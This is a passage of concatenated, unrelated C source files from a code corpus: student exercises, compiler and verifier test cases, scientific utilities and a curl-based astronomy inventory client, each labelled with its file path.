and ".." directory entries... they are not "real" directories */ if(0 == strcmp("..", ent->d_name) || 0 == strcmp(".", ent->d_name)) { /* fprintf(stderr, "This is %s, skipping\n", ent->d_name); */ } else { sprintf(subpath, "%s%c%s", path, PATH_SEPARATOR, ent->d_name); fprintf(fp,"%s%c%s\n", path, PATH_SEPARATOR, ent->d_name); counts->dirs++; // fclose(fp); count(subpath,outfile, counts); // fp = fopen(outfile,"a"); } } else { fprintf(fp,"%s%c%s\n", path, PATH_SEPARATOR, ent->d_name); counts->files++; } } #ifdef DEBUG fprintf(stderr, "Closing dir %s\n", path); #endif closedir(dir); fclose(fp); } int main(int argc, char *argv[]) { struct filecount counts; char *dir; char *outfile; counts.files = 0; counts.dirs = 0; if(argc > 1) dir = argv[1]; else dir = "."; if (argc>2) outfile = argv[2]; else outfile = "files.txt"; #ifdef DEBUG #if PREFER_STAT fprintf(stderr, "Compiled with PREFER_STAT. Using stat()\n"); #elif defined ( _DIRENT_HAVE_D_TYPE ) fprintf(stderr, "Using dirent.d_type\n"); #else fprintf(stderr, "Don't have dirent.d_type, falling back to using stat()\n"); #endif #endif count(dir,outfile, &counts); // /* If we found nothing, this is probably an error which has already been printed */ // if(0 < counts.files || 0 < counts.dirs) { // printf("%ld files and %ld directories in %s\n", counts.files, counts.dirs, dir); // } return 0; }
the_stack_data/777923.c
/* Test typeof with __asm redirection. */ /* { dg-do compile } */ /* { dg-options "-O2" } */ extern int foo1; extern int foo1 __asm ("bar1"); int foo1 = 1; extern int foo2 (int); extern int foo2 (int) __asm ("bar2"); int foo2 (int x) { return x; } extern int foo3; extern __typeof (foo3) foo3 __asm ("bar3"); int foo3 = 1; extern int foo4 (int); extern __typeof (foo4) foo4 __asm ("bar4"); int foo4 (int x) { return x; } // { dg-final { scan-assembler-not "foo" } }
the_stack_data/140764762.c
/* Write a program to remove trailing blanks and tabs from each line * of input, and to delete entirely blank lines */ #include <stdio.h> #define MAXLN 1000 #define OUT 0 #define IN 1 int getln(char s[], int max); int length(char s[]); void strip(char s[]); main() { char line[MAXLN]; while (getln(line, MAXLN) > 0) { strip(line); if (line[0] != '\0') printf("%s\n", line); } return 0; } /* Strip trailing blanks and tabs and newlines, in place. */ void strip(char s[]) { int i; for (i = length(s) - 1; i >= 0; i--) /* The character tests can presumably be replaced with * isspace(), from the standard library. */ if (s[i] != ' ' && s[i] != '\t' && s[i] != '\n') break; /* This works on empty lines and all whitespace lines as the loop * terminates with i = -1. */ s[i+1] = '\0'; } /* Find the length of the string */ int length(char s[]) { int i; for (i = 0; s[i] != '\0'; i++) ; return i; } int getln(char s[], int lim) { int c, i; i = 0; while (lim-- > 0 && (c = getchar()) != EOF && c != '\n') s[i++] = c; if (c == '\n') s[i++] = c; s[i] = '\0'; return i; }
the_stack_data/598333.c
#include<stdio.h> #include<math.h> double d,t,h,e; double Exp() { double a=(d+273.16)*273.16; a=d/a; a=a*5417.7530; return exp(a); } void calH() { double a; e=6.11*Exp(); a=0.5555*(e-10.0); h=t+a; } void calT() { double a; e=6.11*Exp(); a=0.5555*(e-10.0); t=h-a; } void calD() { double a=h-t; e=a/0.5555+10; e/=6.11; a=log(e); a/=5417.7530; a=1/273.16-a; a=1/a; d=a-273.16; } int main() { double a; char str[100]; int let[3]; while (scanf("%s",str),str[0]!='E') { let[0]=let[1]=let[2]=0; scanf("%lf",&a); if (str[0]=='T') t=a,let[0]=1; else if (str[0]=='D') d=a,let[1]=1; else if (str[0]=='H') h=a,let[2]=1; scanf("%s%lf",str,&a); if (str[0]=='T') t=a,let[0]=1; else if (str[0]=='D') d=a,let[1]=1; else if (str[0]=='H') h=a,let[2]=1; if (let[0]==0) calT(); else if (let[1]==0) calD(); else calH(); printf("T %.1lf D %.1lf H %.1lf\n",t,d,h); } return 0; }
the_stack_data/78864.c
#include <ctype.h> int (isalnum)(int c) { return isalnum(c); }
the_stack_data/62638859.c
/*Abhishek Ghosh, 8th November 2013, Rotterdam*/ #include<stdio.h> #define sqr(x) x*x #define greet printf("\nHello There !"); int twice(int x) { return 2*x; } int main() { int x; printf("\nThis will demonstrate function and label scopes."); printf("\nAll output is happening throung printf(), a function declared in the header file stdio.h, which is external to this program."); printf("\nEnter a number : "); scanf("%d",&x); switch(x%2){ default:printf("\nCase labels in switch statements have scope local to the switch block."); case 0: printf("\nYou entered an even number."); printf("\nIt's square is %d, which was computed by a macro. It has global scope within the program file.",sqr(x)); break; case 1: printf("\nYou entered an odd number."); goto sayhello; jumpin: printf("\n2 times %d is %d, which was computed by a function defined in this file. It has global scope within the program file.",x,twice(x)); printf("\nSince you jumped in, you will now be greeted, again !"); sayhello: greet if(x==-1)goto scram; break; }; printf("\nWe now come to goto, it's extremely powerful but it's also prone to misuse. It's use is discouraged and it wasn't even adopted by Java and later languages."); if(x!=-1){ x = -1; /*To break goto infinite loop.*/ goto jumpin; } scram: printf("\nIf you are trying to figure out what happened, you now understand goto."); return 0; }
the_stack_data/631452.c
/**************************************************************************** * FILE IDENTIFICATION * * Name: clsql-uffi.c * Purpose: Helper functions for common interfaces using UFFI * Programmer: Kevin M. Rosenberg * Date Started: Mar 2002 * * This file, part of CLSQL, is Copyright (c) 2002-2010 by Kevin M. Rosenberg * * CLSQL users are granted the rights to distribute and use this software * as governed by the terms of the Lisp Lesser GNU Public License * (http://opensource.franz.com/preamble.html), also known as the LLGPL. ***************************************************************************/ #if defined(WIN32)||defined(WIN64) #include <windows.h> BOOL WINAPI DllEntryPoint(HINSTANCE hinstdll, DWORD fdwReason, LPVOID lpvReserved) { return 1; } #define DLLEXPORT __declspec(dllexport) #else #define DLLEXPORT #endif const unsigned int bitmask_32bits = 0xFFFFFFFF; #define lower_32bits(int64) ((unsigned int) int64 & bitmask_32bits) #define upper_32bits(int64) ((unsigned int) (int64 >> 32)) /* Reads a 64-bit integer string, returns result as two 32-bit integers */ DLLEXPORT unsigned int atol64 (const unsigned char* str, unsigned int* pHigh32) { #if defined(WIN32)||defined(WIN64) __int64 result = 0; #else long long result = 0; #endif int minus = 0; int first_char = *str; if (first_char == '+') ++str; else if (first_char == '-') { minus = 1; ++str; } while (*str) { int i = *str - '0'; if (i < 0 || i > 9) /* Non-numeric character -- quit */ break; result = i + (10 * result); str++; } if (minus) result = -result; *pHigh32 = upper_32bits(result); return lower_32bits(result); }
the_stack_data/1005322.c
/* PR c++/38650 */ /* { dg-do run } */ #include <stdlib.h> int e; int main () { volatile int i, j = 10; e = 0; #pragma omp parallel for reduction(+:e) for (i = 0; i < j; i += 1) e++; if (e != 10) abort (); e = 0; #pragma omp parallel for reduction(+:e) for (i = 0; i < j; ++i) e++; if (e != 10) abort (); e = 0; #pragma omp parallel for reduction(+:e) for (i = 0; i < j; i++) e++; if (e != 10) abort (); e = 0; #pragma omp parallel for reduction(+:e) for (i = 0; i < 10; i += 1) e++; if (e != 10) abort (); e = 0; #pragma omp parallel for reduction(+:e) for (i = 0; i < 10; ++i) e++; if (e != 10) abort (); e = 0; #pragma omp parallel for reduction(+:e) for (i = 0; i < 10; i++) e++; if (e != 10) abort (); return 0; }
the_stack_data/51699647.c
#include<stdio.h> int main() { printf("Hello world from C!\n"); return 0; }
the_stack_data/159514898.c
#include<stdio.h> #include<stdlib.h> typedef struct node{ struct node *left, *right; int data; }node; node *createTree(){ node *p; int val; printf("Enter Root Value. Enter -1 for NULL : "); scanf("%d",&val); if(val == -1) return NULL; p = (node*)malloc(sizeof(node)); p->data = val; printf("Enter left child of %d:\n",val); p->left = createTree(); printf("Enter right child of %d:\n",val); p->right = createTree(); return p; } node *insertElement(node *root, int val){ node *ptr = (node *)malloc(sizeof(node)); if(root == NULL){ ptr->data = val; ptr->right = ptr->left = NULL; return ptr; } if(val < root->data) root->left = insertElement(root->left, val); else if(val > root->data) root->right = insertElement(root->right, val); return root; } int findMax(node *root){ while(root->right != NULL) root = root->right; return root->data; } int findMin(node *root){ while(root->left != NULL) root = root->left; return root->data; } void inOrderDisplay(node *T){ if(T != NULL){ inOrderDisplay(T->left); printf("%d\t", T->data); inOrderDisplay(T->right); } } int main() { int isWorking = 1; int input, output; printf("Menu Driven Binary Search Tree Program\n\nLet's Intialise the Tree First\n"); node *root = createTree(); while(isWorking){ printf("\n1)Insert Element\n2)Find Max Element\n3)Find Min Element\n4)In-Order Traversal\n5)Exit\n"); printf("Enter Choice: "); scanf("%d", &input); switch(input){ case 1: printf("Enter element to be inserted: "); scanf("%d", &input); insertElement(root, input); printf("In-Order Traversal of Tree: "); inOrderDisplay(root); printf("\n"); break; case 2: output = findMax(root); printf("Binary Search Tree has Max Value of %d \n", output); break; case 3: output = findMin(root); printf("Binary Search Tree has Min Value of %d \n", output); break; case 4: printf("In-Order Traversal: "); inOrderDisplay(root); printf("\n"); break; case 5: isWorking = 0; break; default: printf("Enter a Valid Option\n"); } } return 0; }
the_stack_data/68887575.c
/** * Michael Davies * [email protected] * CprE 185 Section E * Programming Practice 3 * * Reflection 1: * I was trying to make a simple program that would compute * all of the integer factor pairs of a number. * * Reflection 2: * I was successful. I created a similar program in Ti-Basic * (for the Ti-83+ family of calulators). Writing it in C * was quite a bit different, however. * * Reflection 3: * If I were to do this over, I would find a way to accept * larger numbers and maybe take advantage of multicore * processors to do computations * * Reflection 4: * I learned how to deal with incorrect input from the user - * i.e. if they were to type characters, or too large of a * number, etc... * */ #include <stdio.h> #include <math.h> void printFactors(unsigned long long int num) { // If the number they entered exceeds // the bounds, it will register as // 64 1's in binary or 0xFFFFFFFFFFFFFFFF // in hex if(num == 0xFFFFFFFFFFFFFFFF) { printf("Overflow!\n\n"); return; } // Search range is 1 to sqrt(num) // This way we capture all pairs // without repeating. unsigned long long int searchRange = floor(sqrt(num)); unsigned long long int i; // Search for factors, print as we go for(i = 1; i <= searchRange; i++) { if(num % i == 0) printf("%llu x %llu\n", i, num / i); } // Divider so they know we are done printf("===============\n\n"); } int main() { unsigned long long int num = 0; int temp = 1; // Tell the user what our bounds are // we are not perfect - we can only go // as far as an unsigned 64-bit int // can hold printf("Enter a number between 0 and 18446744073709551614\n"); // Loop to accept user input // Will exit when the user does not // enter an integer number while(temp == 1) { // Print first, ask later // this is to avoid the printFactors() // being called on what ever was left // when the user breaks the program // with a non-int value printFactors(num); temp = scanf("%llu", &num); } return 0; }
the_stack_data/154448.c
#include <assert.h> #include <stdlib.h> int main() { { int *p = 0x0; // Since local_bitvector_analysis can tell that p is NULL, this should // generate only a NULL check, and not any of the other pointer checks. *p = 1; } { int i; int *q = &i; // This should only generate a not-dead check and a bounds-check. *q = 2; } { int *r = __CPROVER_allocate(sizeof(int), 1); // This should generate a not-deallocated check and a bounds-check. *r = 5; } { int *s; // This should generate an invalid pointer check (labelled uninitialized). *s = 14; } return 0; }
the_stack_data/72012222.c
#include<stdio.h> void main() { int a,b,c,num; printf("Input number\n"); scanf("%d",&num); while(num<0) { num=num*-1; } a=num%10; b=num%100/10; c=num/100; num = a*100+b*10+c; printf("reversal number is %d\n",num); }
the_stack_data/35833.c
#include<stdio.h> int main(){ int ano; printf("Coloque um ano para verificar se eh bissexto: "); scanf("%d",&ano); if(ano%400==0 || (ano%4==0 && !ano%100==0)){ printf("Ano bissexto"); } else{ printf("Ano nao bissexto"); } }
the_stack_data/5376.c
/* ====================================================================== David W. Aha March, 1988 Instance creation routine for the LED Display domain. 24 attribute version Pretty lousy code! Sorry. Programming language: C ====================================================================== */ #include <stdio.h> #include <strings.h> #define NUMBER_ARGS 5 /*==== Inputs ====*/ int numtrain; /*==== Input #1 ====*/ unsigned seed; /*==== Input #2 ====*/ char outputfile[100]; /*==== Input #3 ====*/ int percentnoise; /*==== Input #4: usually set to 10 (percent) ====*/ /*==== Other global values ====*/ int noisy[7]; /* Contains boolean values (attribute noise) */ int instance[10][7]; /* Original 10 instances */ int n = 0; int num_irrelevant_attributes = 17; /* ====================================================================== Main ====================================================================== */ main (argc, argv) int argc; char *argv[]; { if (argc != NUMBER_ARGS) { printf("Arguments: numtrain seed outputfile noise.\n"); printf(" numtrain is the number of training instances requested.\n"); printf(" seed is a integer seed for the random number generator.\n"); printf(" outputfile: output file name for the generated instances.\n"); printf(" noise is the percent probability of noise per attribute.\n"); printf(" (usually set to 10%...and reported by the program)\n"); } else { numtrain = atoi(argv[1]); seed = atoi(argv[2]); strcpy(outputfile,argv[3]); percentnoise = atoi(argv[4]); createworld(); } } /* ====================================================================== Getting the instances. ====================================================================== */ createworld() { FILE *fopen(), *fout; int select_noisy_indexes(), noisy_index(); int count, selected, i; int noisy_instance[7]; float actual; srandom(seed); instance[0][0] = 1; instance[0][1] = 1; instance[0][2] = 1; instance[0][3] = 0; instance[0][4] = 1; instance[0][5] = 1; instance[0][6] = 1; instance[1][0] = 0; instance[1][1] = 0; instance[1][2] = 1; instance[1][3] = 0; instance[1][4] = 0; instance[1][5] = 1; instance[1][6] = 0; instance[2][0] = 1; instance[2][1] = 0; instance[2][2] = 1; instance[2][3] = 1; instance[2][4] = 1; instance[2][5] = 0; instance[2][6] = 1; instance[3][0] = 1; instance[3][1] = 0; instance[3][2] = 1; instance[3][3] = 1; instance[3][4] = 0; instance[3][5] = 1; instance[3][6] = 1; instance[4][0] = 0; instance[4][1] = 1; instance[4][2] = 1; instance[4][3] = 1; instance[4][4] = 0; instance[4][5] = 1; instance[4][6] = 0; instance[5][0] = 1; instance[5][1] = 1; instance[5][2] = 0; instance[5][3] = 1; instance[5][4] = 0; instance[5][5] = 1; instance[5][6] = 1; instance[6][0] = 1; instance[6][1] = 1; instance[6][2] = 0; instance[6][3] = 1; instance[6][4] = 1; instance[6][5] = 1; instance[6][6] = 1; instance[7][0] = 1; instance[7][1] = 0; instance[7][2] = 1; instance[7][3] = 0; instance[7][4] = 0; instance[7][5] = 1; instance[7][6] = 0; instance[8][0] = 1; instance[8][1] = 1; instance[8][2] = 1; instance[8][3] = 1; instance[8][4] = 1; instance[8][5] = 1; instance[8][6] = 1; instance[9][0] = 1; instance[9][1] = 1; instance[9][2] = 1; instance[9][3] = 1; instance[9][4] = 0; instance[9][5] = 1; instance[9][6] = 1; fout = fopen(outputfile,"w"); for(count=0; count<numtrain; count++) { select_noisy_indexes(); selected = (random() % 10); for(i=0; i<7; i++) { noisy_instance[i] = instance[selected][i]; if (noisy[i]) noisy_instance[i] = !noisy_instance[i]; } fprintf(fout,"%d,%d,%d,%d,%d,%d,%d", noisy_instance[0], noisy_instance[1], noisy_instance[2], noisy_instance[3], noisy_instance[4], noisy_instance[5], noisy_instance[6]); for(i=0; i<num_irrelevant_attributes; i++) fprintf(fout,",%d",(random() % 2)); fprintf(fout,",%d\n",selected); } actual = 100.0 * (float)n/(float)(7*numtrain); printf("Percent Noise: Requested %d, Actual %f\n",percentnoise,actual); fclose(fout); } /* ====================================================================== Sets up noisy indexes, based on the required number of instances and the percentage of noise required. ====================================================================== */ int select_noisy_indexes() { int i; float actual; for(i=0; i<7 ;i++) { noisy[i] = 0; if ((1 + (random() % 100)) <= percentnoise) { noisy[i] = 1; n++; } } }
the_stack_data/3261666.c
#include<stdio.h> int main() { int n,i,r,q=0; scanf("%d",&n); if(n==1) printf("2"); else{ for(i=n+1;i<=200000;i++){ q=0; for(r=1;r<=i;r++){ if(i%r==0) q+=1; } if(q==2) break; } printf("%d",i); } return 0; }
the_stack_data/43888558.c
// RUN: %llvmgcc %s -g -emit-llvm -O0 -c -o %t.bc // RUN: rm -rf %t.klee-out // RUN: %klee --output-dir=%t.klee-out --posix-runtime %t.bc --sym-args 1 1 1 2>&1 | FileCheck %s // RUN: test -f %t.klee-out/test000001.free.err // RUN: test -f %t.klee-out/test000002.free.err // RUN: test -f %t.klee-out/test000003.free.err int main(int argc, char **argv) { // FIXME: Use FileCheck's CHECK-DAG to check source locations switch(klee_range(0, 3, "range")) { case 0: // CHECK: free of global free(argv); break; case 1: // CHECK: free of global free(argv[0]); break; case 2: // CHECK: free of global free(argv[1]); break; } return 0; }
the_stack_data/898450.c
#include<stdio.h> int main() { int n; scanf("%d",&n); if(n==2) printf("3"); else{ int i,j; for(i=1;i>0;i++){ for(j=2;j<=(n+i-1);j++){ if((n+i)%j==0) break; if(j==(n+i-1)){ printf("%d",n+i); return 0;} }} } }
the_stack_data/231392998.c
#include <stdio.h> #include <string.h> int main(void) { char password[25]; unsigned char is_authorized = 0; int i; //printf("\n &password: %p\n &is_authorized: %p\n", &password, &is_authorized); printf("Enter your password:\n"); i = 0; while(i < 24 && (password[i] = getc(stdin)) != EOF) ++i; password[i] = '\0'; if(!strcmp(password, "SecretPassword")) is_authorized = 1; printf(" input: %s\n is_authorized: %d\n", password, is_authorized); if(is_authorized){ printf("You are authorized.\n"); }else{ printf("Wrong password! You are NOT authorized.\n"); } }
the_stack_data/150139617.c
#define _ISOC9X_SOURCE 1 #define _ISOC99_SOURCE 1 #define __USE_ISOC99 1 #define __USE_ISOC9X 1 #include <math.h> #include <stdio.h> int main (void) { double fval ; int k, ival ; int pos = 0 ; int neg = 0 ; fval = 1.0 * 0x7FFFFFFF ; for (k = 0 ; k < 100 ; k++) { ival = (lrint (fval)) >> 24 ; if (ival != 127) { pos = 1 ; break ; } fval *= 1.2499999 ; } fval = -8.0 * 0x10000000 ; for (k = 0 ; k < 100 ; k++) { ival = (lrint (fval)) >> 24 ; if (ival != -128) { neg = 1 ; break ; } fval *= 1.2499999 ; } printf("%d;%d", pos, neg) ; return 0 ; }
the_stack_data/991425.c
/* * Copyright (C) 2003, 2004, 2006, 2007 * Robert Lougher <[email protected]>. * * This file is part of JamVM. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2, * or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ void setDoublePrecision() { } void initialisePlatform() { }
the_stack_data/117327061.c
extern int __VERIFIER_nondet_int(); extern void __VERIFIER_error(); int id(int x) { if (x==0) return 0; int ret = id(x-1) + 1; if (ret > 2) return 2; return ret; } void main() { int input = __VERIFIER_nondet_int(); int result = id(input); if (result == 3) { __VERIFIER_error(); } }
the_stack_data/165767556.c
/* * This file is part of TISEAN * * Copyright (c) 1998-2007 Rainer Hegger, Holger Kantz, Thomas Schreiber * * TISEAN is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * TISEAN is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with TISEAN; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /*Author: Rainer Hegger Last modified: Jul 9, 1999 */ void make_multi_box(double **ser,long **box,long *list,unsigned long l, unsigned int bs,unsigned int dim,unsigned int emb, unsigned int del,double eps) { int i,x,y; int ib=bs-1; for (x=0;x<bs;x++) for (y=0;y<bs;y++) box[x][y] = -1; for (i=(emb-1)*del;i<l;i++) { x=(int)(ser[0][i]/eps)&ib; y=(int)(ser[dim-1][i]/eps)&ib; list[i]=box[x][y]; box[x][y]=i; } }
the_stack_data/725838.c
/************************************************************************** ** */ /* ** ra, dec, radius // double ** sources, resources, id, return // string ** sourceURL, resourceURL // file */ #include <stdio.h> #include <string.h> #include <stdlib.h> #ifdef VO_INVENTORY #include <curl/curl.h> #ifdef OLD_CURL #include <curl/types.h> #endif #include <curl/easy.h> #include "VOClient.h" #include "voAppsP.h" char *base_url = "http://irsa.ipac.caltech.edu/cgi-bin/VOInventory/nph-voInventory"; #define SUBSET "subset" /* 1 pos, 1 resource */ #define MATCHES "matches" /* N pos, 1 resource */ #define REGION "region" /* 1 pos, [N resources] */ #define TABLE "table" /* N pos, [N resources] */ #ifdef UNIT_TEST int verbose = 0; int debug = 0; #endif char *id = NULL; char *action = NULL; char *rettype = "votable"; double ra = 0.0; double dec = 0.0; double radius = 0.1; char *ofname = NULL; FILE *outfile = (FILE *) NULL; int nsources = 1; int nresources = 0; extern Object *objList; extern Service *svcList; extern char *sources; extern char *resources; extern double sr; extern int format, count, verbose, debug, ecols, nservices, nobjects; extern char *output, *tmpdir; char *vot_doInventory (); char *vot_execInv (double ra, double dec, double radius, char *sources, char *resources, char *id, char *rettype, FILE *outfile); static size_t vot_invWrite (void *ptr, size_t size, size_t nmemb, FILE *stream); static size_t vot_invRead (void *ptr, size_t size, size_t nmemb, FILE *stream); static char *vot_dbl2str (double dval); static void vot_printRegionCount (char *file, int extra); static void vot_printMatchCount (char *file); extern char *vot_getTableCol (char *line, int col, int span); extern void ppMultiLine (char *result, int poffset, int pwidth, int maxch); #ifdef UNIT_TEST int main (int argc, char *argv[]) { register int i, j, len; CURL *curl; CURLcode res; struct curl_httppost *form = NULL; struct curl_httppost *last = NULL; for (i=1; i < argc; i++) { if (argv[i][0] == '-') { len = strlen (argv[i]); for (j=1; j < len; j++) { switch (argv[i][j]) { case 'h': /* help */ return (0); case 'd': /* debug */ debug++; break; case 'v': /* verbose */ verbose++; break; case 't': /* test */ base_url = "http://iraf.noao.edu/scripts/tpost"; break; case 'p': /* pos (ra dec) */ ra = atof (argv[i+1]); dec = atof (argv[i+2]); i += 2; nsources = 1; break; case 'r': /* radius */ radius = atof (argv[++i]); break; case 'i': /* id */ id = argv[++i]; break; case 'o': /* output file */ ofname = argv[++i]; outfile = fopen (ofname, "w+"); break; case 'R': /* resource file */ resources = argv[++i]; nresources = 2; break; case 'S': /* source file */ sources = argv[++i]; nsources = 2; break; case 'A': rettype = "ascii"; break; case 'C': rettype = "csv"; break; case 'H': rettype = "HTML"; break; /* BROKE */ case 'T': rettype = "tsv"; break; case 'V': rettype = "votable"; break; default: break; } } } } if (debug) { fprintf (stderr, "pos = (%f,%f) radius = %f\n", ra, dec, radius); fprintf (stderr, "id = '%s'\n", id); fprintf (stderr, "sources = '%s' N = %d\n", sources, nsources); fprintf (stderr, "resources = '%s' N = %d\n", resources, nresources); } (void) vot_execInv (ra, dec, radius, sources, resources, id, rettype, NULL); return 0; } #endif /* VOT_EXECINV -- Execute the inventory service call. */ char * vot_doInventory () { double ra = objList->ra, dec = objList->dec, radius = sr; char *id = (svcList ? svcList->identifier : NULL), *rettype = "tsv", *action; char tmpfile[SZ_LINE]; FILE *fd = (FILE *) NULL; extern char *vot_mktemp(); /* Get a temporary file to be used for the votable output. */ strcpy (tmpfile, (debug ? "/tmp/vod.tmp" : vot_mktemp ("vodi"))); if (! (fd = fopen (tmpfile, "w+")) ) { fprintf (stderr, "Cannot open output file '%s'\n", tmpfile); exit (1); } if (debug) { fprintf (stderr, "ra '%f' '%f' radius '%f'....\n", ra, dec, radius); fprintf (stderr, "id '%s' rettype '%s'....\n", id, rettype); fprintf (stderr, "sources '%s' resources '%s'....\n", sources, resources); fprintf (stderr, "using file '%s'....\n", output); } /* Execute the query. vot_execInv (ra, dec, radius, sources, resources, id, "tsv", fd); */ action = vot_execInv (ra, dec, radius, sources, resources, id, "tsv", fd); if (fd != stdout) { fclose (fd); if (debug) { system("cat /tmp/vod.tmp"); printf ("\n\n"); } if (count) { if (strcmp (action, "region") == 0) vot_printRegionCount (tmpfile, 0); else if (strcmp (action, "table") == 0) vot_printRegionCount (tmpfile, 1); else if ((strcmp (action, "matches")) || (strcmp (action, "subset") == 0)) { vot_printMatchCount (tmpfile); } } } if (!debug) unlink (tmpfile); return (action); } /* VOT_EXECINV -- Execute the inventory service call. */ char * vot_execInv (double ra, double dec, double radius, char *sources, char *resources, char *id, char *rettype, FILE *outfile) { CURL *curl; CURLcode res; struct curl_httppost *form = NULL; struct curl_httppost *last = NULL; nresources = nservices; nsources = nobjects; /* Initialize the CURL call. */ curl_global_init (CURL_GLOBAL_ALL); if ( (curl = curl_easy_init()) ) { struct curl_slist *headerlist = NULL; /* Fill in the fields. */ if (radius > 0.0) { curl_formadd (&form, &last, CURLFORM_COPYNAME, "radius", CURLFORM_COPYCONTENTS, vot_dbl2str(radius), CURLFORM_END); curl_formadd (&form, &last, CURLFORM_COPYNAME, "units", CURLFORM_COPYCONTENTS, "degree", CURLFORM_END); } if (debug) fprintf (stderr, "\n\nnsources=%d nresources=%d\n\n", nsources, nresources); switch ( nsources ) { case 0: perror ("Invalid NSources=0, no src file or posn specified\n"); exit(1); case 1: curl_formadd (&form, &last, CURLFORM_COPYNAME, "ra", CURLFORM_COPYCONTENTS, vot_dbl2str(ra), CURLFORM_END); curl_formadd (&form, &last, CURLFORM_COPYNAME, "dec", CURLFORM_COPYCONTENTS, vot_dbl2str(dec), CURLFORM_END); if (id) { action = "subset"; curl_formadd (&form, &last, CURLFORM_COPYNAME, "id", CURLFORM_COPYCONTENTS, id, CURLFORM_END); } else if (resources) action = "table"; else action = "region"; break; default: if (sources) { curl_formadd (&form, &last, CURLFORM_COPYNAME, "sources", CURLFORM_FILE, sources, CURLFORM_END); if (nresources < 0) action = "table"; else if (nresources == 1 && id) action = "matches"; else if (resources) action = "table"; } else { perror ("Invalid nsources=N, no source file specified\n"); exit (1); } break; } /* Set the matching resources. */ if (nresources == 1 && id) { curl_formadd (&form, &last, CURLFORM_COPYNAME, "id", CURLFORM_COPYCONTENTS, id, CURLFORM_END); } else if (nresources >= 1 && resources) { curl_formadd (&form, &last, CURLFORM_COPYNAME, "resources", CURLFORM_FILE, resources, CURLFORM_CONTENTTYPE, "text/xml", CURLFORM_END); } else if (nresources > 0) { perror ("Invalid NResources=2, no resource file specified\n"); exit (1); } /* Make sure we have a valid action to execute. */ if (action) { curl_formadd (&form, &last, CURLFORM_COPYNAME, "action", CURLFORM_COPYCONTENTS, action, CURLFORM_END); curl_formadd (&form, &last, CURLFORM_COPYNAME, "searchType", CURLFORM_COPYCONTENTS, action, CURLFORM_END); } else { perror ("No action specified."); exit (1); } curl_formadd (&form, &last, CURLFORM_COPYNAME, "return", CURLFORM_COPYCONTENTS, rettype, CURLFORM_END); /* Print some debug info. */ if (debug) { fprintf (stderr, "ACTION = '%s' ret = '%s'\n", action, rettype); curl_easy_setopt (curl, CURLOPT_VERBOSE, 1); curl_easy_setopt (curl, CURLOPT_HEADER, 1); } /* Setup the output file, if we have one. */ if (outfile) { curl_easy_setopt(curl, CURLOPT_WRITEDATA, outfile); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, vot_invWrite); curl_easy_setopt(curl, CURLOPT_READFUNCTION, vot_invRead); } /* Setup the call to the base URL as an HTTP/POST. headerlist = curl_slist_append (headerlist, expect); */ curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist); curl_easy_setopt (curl, CURLOPT_HTTPPOST, form); curl_easy_setopt (curl, CURLOPT_URL, base_url); /* Execute the query. */ res = curl_easy_perform (curl); curl_slist_free_all (headerlist); } curl_easy_cleanup (curl); /* always cleanup */ if (form) curl_formfree (form); /* then cleanup the formpost chain */ if (outfile) fclose (outfile); return (action); } /* */ static void vot_printRegionCount (char *file, int extra) { FILE *fd; int c_ivoid=1, c_sname=2, c_title=8, c_count=11, c_nrec=10, c_desc=9; int c_corr=12; char title[SZ_LINE], count[SZ_LINE], corr[SZ_LINE], nrec[SZ_LINE], line[SZ_LINE], desc[SZ_LINE], *s; extern char *delim; delim = "\t"; if ((fd = fopen (file, "r"))) { fgets (line, SZ_LINE, fd); /* skip header */ printf ("\n"); while (fgets (line, SZ_LINE, fd)) { strcpy (title, ((s=vot_getTableCol(line, c_title, 1))?s:" ")); strcpy (count, ((s=vot_getTableCol(line, c_count, 1))?s:" ")); strcpy (nrec, ((s=vot_getTableCol(line, c_nrec, 1))?s:" ")); if (extra) strcpy (corr, ((s=vot_getTableCol(line, c_corr, 1))?s:" ")); if (verbose > 1) { s = vot_getTableCol(line, c_sname, 1); printf (" ShortName: %s\n", s); s = vot_getTableCol(line, c_ivoid, 1); printf (" Identifier: %s\n", s); printf (" Title: "); ppMultiLine (title, 15, 64, 1024); printf ("\n"); strcpy (desc, ((s=vot_getTableCol(line, c_desc, 1))?s:" ")); printf (" Description: "); ppMultiLine (desc, 15, 64, 1024); printf ("\n"); printf (" Count: %s of %s \n", count, nrec); if (extra) printf (" Corr: %s\n", corr); printf ("-------------------------------------\n"); } else { s = vot_getTableCol(line, c_ivoid, 1); printf (" %-20.20s %4s %s ", s, count, "C"); s = (vot_getTableCol (line, c_title, 1))?s:" "; ppMultiLine (s, 35, 45, 1024); if (extra) printf (" (Corr=%s)", corr); printf (" (NRec=%s)\n", nrec); } bzero (line, SZ_LINE); } } else { fprintf (stderr, "Cannot open votable '%s'\n", file); exit (1); } } /* */ static void vot_printMatchCount (char *file) { FILE *fd; int nrows = 0; char line[SZ_LINE]; if ((fd = fopen (file, "r"))) { fgets (line, SZ_LINE, fd); /* skip header */ printf ("\n"); while (fgets (line, SZ_LINE, fd)) nrows++; } if (verbose > 1) { printf (" ShortName: %s\n", svcList->name); printf (" Identifier: %s\n", svcList->identifier); printf (" Title: "); ppMultiLine (svcList->title, 15, 64, 1024); printf ("\n"); printf (" Count: %d of %d objects from '%s' matched\n", nrows, nobjects, sources); printf ("-------------------------------------\n"); } else { printf (" %-20.20s %4d %s ", svcList->name, nrows, "C"); ppMultiLine(svcList->title,35,45,1024); printf ("\n"); } } /* Local utility functions. */ static size_t vot_invWrite (void *ptr, size_t size, size_t nmemb, FILE *stream) { return fwrite (ptr, size, nmemb, stream); } static size_t vot_invRead (void *ptr, size_t size, size_t nmemb, FILE *stream) { return fread(ptr, size, 